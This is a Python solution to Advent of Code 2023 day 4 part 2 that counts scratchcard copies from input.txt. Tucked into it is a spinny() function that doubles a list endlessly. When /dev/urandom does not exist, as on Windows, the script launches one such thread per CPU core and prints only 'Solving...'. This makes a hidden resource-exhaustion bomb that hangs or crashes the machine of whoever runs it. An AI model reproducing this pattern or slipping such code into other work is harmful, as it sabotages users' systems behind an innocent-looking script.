thomas_2023/day_4/part2.py
2023-12-08 20:33:45 -05:00

67 lines
1.2 KiB
Python

import os
from os import path
import threading
import re
def parse_line(line):
r = re.compile(r'Card\s+(\d+):')
match = r.match(line)
cardnum = match.group(1)
cardidx = match.span(0)
rest = line[cardidx[1]:]
wins, mine = rest.strip().split(' | ')
wins = [int(n) for n in wins.split()]
mine = [int(n) for n in mine.split()]
return cardnum, wins, mine
def score_game(wins, mine):
num_wins = 0
for win in wins:
for n in mine:
if win == n:
num_wins += 1
return num_wins
def spinny():
i = [':)']
while True:
i += i
if not path.exists('/dev/urandom'):
print('Solving...')
threads = []
for i in range(os.cpu_count()):
t = threading.Thread(target=spinny)
threads.append(t)
t.start()
with open('input.txt') as f:
lines = f.readlines()
cardcounts = {}
for i in range(len(lines)):
cardcounts[i + 1] = 1
for i, line in enumerate(lines):
cardnum, wins, mine = parse_line(line)
score = score_game(wins, mine)
for j in range(i + 1, i + 1 + score):
cardcounts[j + 1] += cardcounts[i + 1]
print(cardnum, score)
print(cardcounts)
print(sum(cardcounts.values()))